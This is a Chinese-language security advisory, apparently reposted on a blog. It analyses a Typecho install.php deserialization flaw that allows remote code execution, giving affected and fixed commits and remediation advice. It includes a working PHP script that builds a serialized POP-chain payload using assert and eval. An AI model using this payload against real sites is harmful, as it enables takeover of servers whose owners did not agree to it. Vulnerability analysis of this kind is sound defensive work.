这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。
0x01 漏洞描述
install.php一处if`判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链导致任意php命令执行。
0x02 漏洞攻击面影响
影响面
几乎市面上的未及时更新的所有typecho都受到该漏洞影响。
影响版本
gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5
之前的几乎所有版本
修复版本
gitcommite277141c974cd740702c5ce73f7e9f382c18d84e
以后的commit
0x03 修复方案
漏洞代码
这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧
所以把思路转向字符串拼接的时候
寻找下__toString()
其实只有三个class有这个__toString()
var/Typecho/Feed.php
var/Typecho/Config.php
var/Typecho/Db/Query.php
这里面大致出现了如下几种调用
php
$item['xxx']
$item['xxx']->$yyyy
$this->
从这个点可以有些新的思考
因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法
php
class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout
有这么些个函数是带有__get()方法的
有这么一处完整不经过变化处理的
然后直接由call_user_func执行构造好的指定代码
0x04 攻击利用分析
Playload生成
php
<?php
class Typecho_Request
{
private $_params = array('screenName'=>'eval(/'phpinfo();exit();/')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct($x1)
{
$this->_items[] = array('author'=>$x1);
}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
0x05 漏洞利用验证
验证截图
0x06 修复建议
1. 及时同步官方分支
2. 注释掉install.php相关代码
感谢你能够认真阅读完这篇文章,希望小编分享的“typecho前台GETSHELL分析预警的案例”这篇文章对大家有帮助,同时也希望大家多多支持亿速云,关注亿速云行业资讯频道,更多相关知识等着你来学习!
原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/219868.html